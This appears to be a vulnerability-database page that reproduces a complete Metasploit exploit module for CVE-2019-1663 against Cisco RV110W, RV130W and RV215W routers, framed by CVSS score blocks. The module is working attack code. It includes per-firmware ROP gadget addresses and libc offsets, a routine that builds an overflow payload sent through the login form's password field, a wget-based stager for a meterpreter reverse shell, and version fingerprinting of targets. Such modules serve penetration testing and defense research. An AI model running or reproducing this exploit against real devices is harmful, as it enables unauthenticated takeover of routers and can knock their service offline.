9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device. A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user. RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected. RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected. RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected. Note: successful exploitation may not result in a session, and as such, on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# linux/armle/meterpreter/bind_tcp -> segfault
# linux/armle/meterpreter/reverse_tcp -> segfault
# linux/armle/meterpreter_reverse_http -> works
# linux/armle/meterpreter_reverse_https -> works
# linux/armle/meterpreter_reverse_tcp -> works
# linux/armle/shell/bind_tcp -> segfault
# linux/armle/shell/reverse_tcp -> segfault
# linux/armle/shell_bind_tcp -> segfault
# linux/armle/shell_reverse_tcp -> segfault
#
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Deprecated
moved_from 'exploit/linux/http/cisco_rv130_rmi_rce'
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
'Description' => %q{
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.
RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.
Note: successful exploitation may not result in a session, and as such,
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
},
'Author' =>
[
'Yu Zhang', # Initial discovery (GeekPwn conference)
'Haoliang Lu', # Initial discovery (GeekPwn conference)
'T. Shiomitsu', # Initial discovery (Pen Test Partners)
'Quentin Kaiser <[emailΒ protected]>' # Vulnerability analysis & exploit dev
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => [ARCH_ARMLE, ARCH_MIPSLE],
'SessionTypes' => %w[meterpreter],
'CmdStagerFlavor' => %w{ wget },
'Privileged' => true, # BusyBox
'References' =>
[
['CVE', '2019-1663'],
['BID', '107185'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/']
],
'DefaultOptions' => {
'WfsDelay' => 10,
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
},
'Targets' =>
[
[ 'Cisco RV110W 1.1.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af06000,
'libcrypto_base_addr' => 0x2ac01000,
'system_offset' => 0x00050d40,
'got_offset' => 0x0009d560,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af08000,
'libcrypto_base_addr' => 0x2ac03000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.0.10',
{
'offset' => 69,
'libc_base_addr' => 0x2af09000,
'libcrypto_base_addr' => 0x2ac04000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.1.4',
{
'offset' => 69,
'libc_base_addr' => 0x2af54000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV110W 1.2.1.7',
{
'offset' => 69,
'libc_base_addr' => 0x2af98000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV130/RV130W < 1.0.3.45',
{
'offset' => 446,
'libc_base_addr' => 0x357fb000,
'system_offset' => 0x0004d144,
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
'Arch' => ARCH_ARMLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
}
},
],
[ 'Cisco RV215W 1.1.0.5',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.1.0.6',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.2.0.14',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a001,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.2.0.15',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.3.0.7',
{
'offset' => 77,
'libc_base_addr' => 0x2afeb000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
[ 'Cisco RV215W 1.3.0.8',
{
'offset' => 77,
'libc_base_addr' => 0x2afee000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
}
}
],
],
'DisclosureDate' => 'Feb 27 2019',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SERVICE_DOWN, ],
},
))
end
def p(lib, offset)
[(lib + offset).to_s(16)].pack('H*').reverse
end
def prepare_shellcode(cmd)
case target
# RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
# RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
shellcode = rand_text_alpha(target['offset']) + # filler
rand_text_alpha(4) + # $s0
rand_text_alpha(4) + # $s1
rand_text_alpha(4) + # $s2
rand_text_alpha(4) + # $s3
p(target['libc_base_addr'], target['system_offset']) + # $s4
rand_text_alpha(4) + # $s5
rand_text_alpha(4) + # $s6
rand_text_alpha(4) + # $s7
rand_text_alpha(4) + # $s8
p(target['libcrypto_base_addr'], target['gadget1']) + # $ra
p(target['libc_base_addr'], target['got_offset']) +
rand_text_alpha(28) +
cmd
shellcode
when targets[5] # RV130/RV130W
shellcode = rand_text_alpha(target['offset']) + # filler
p(target['libc_base_addr'], target['gadget1']) +
p(target['libc_base_addr'], target['system_offset']) + # r2
rand_text_alpha(4) + # r6
p(target['libc_base_addr'], target['gadget2']) + # pc
cmd
shellcode
end
end
def send_request(buffer)
begin
send_request_cgi({
'uri' => '/login.cgi',
'method' => 'POST',
'vars_post' => {
"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": 0,
"change_action": "",
"enc": 1,
"user": rand_text_alpha_lower(5),
"pwd": buffer,
"sel_lang": "EN"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
def check
# We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
# We use lang_pack/EN.js because it's the one file that changes the most between versions.
# Note that it's not a smoking gun given that some branches keep the exact same files in /www
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)
fingerprints = {
"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
"version" => "Cisco RV110W 1.1.0.9",
"status" =>Exploit::CheckCode::Vulnerable
},
"8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
"version" => "Cisco RV110W 1.2.0.9",
"status" => Exploit::CheckCode::Vulnerable
},
"134ee643ec877641030211193a43cc5e93c96a06" => {
"version" => "Cisco RV110W 1.2.0.10",
"status" => Exploit::CheckCode::Vulnerable
},
"e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
"version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
"version" => "Cisco RV130/RV130W 1.0.0.21",
"status" => Exploit::CheckCode::Vulnerable
},
"9b1a87b752d11c5ba97dd80d6bae415532615266" => {
"version" => "Cisco RV130/RV130W 1.0.1.3",
"status" => Exploit::CheckCode::Vulnerable
},
"9b6399842ef69cf94409b65c4c61017c862b9d09" => {
"version" => "Cisco RV130/RV130W 1.0.2.7",
"status" => Exploit::CheckCode::Vulnerable
},
"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
"version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
"status" => Exploit::CheckCode::Vulnerable
},
"8c8e05de96810a02344d96588c09b21c491ede2d" => {
"version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
"version" => "Cisco RV215W 1.1.0.5",
"status" => Exploit::CheckCode::Vulnerable
},
"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
"version" => "Cisco RV215W 1.1.0.6",
"status" => Exploit::CheckCode::Vulnerable
},
"7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
"version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
"status" => Exploit::CheckCode::Vulnerable
},
"050d47ea944eaeadaec08945741e8e380f796741" => {
"version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
}
}
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
})
if res && res.code == 200
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
if fingerprints.key?(fingerprint)
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
return fingerprints[fingerprint]["status"]
else
print_status("Couldn't reliably fingerprint the target.")
end
end
Exploit::CheckCode::Unknown
end
def exploit
print_status('Sending request')
execute_cmdstager
end
def execute_command(cmd, opts = {})
shellcode = prepare_shellcode(cmd.to_s)
send_request(shellcode)
end
def on_new_session(session)
# Given there is no process continuation here, the httpd server will stop
# functioning properly and we need to take care of proper restart
# ourselves.
print_status("Reloading httpd service")
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
else
session.shell_command(reload_httpd_service)
end
ensure
super
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C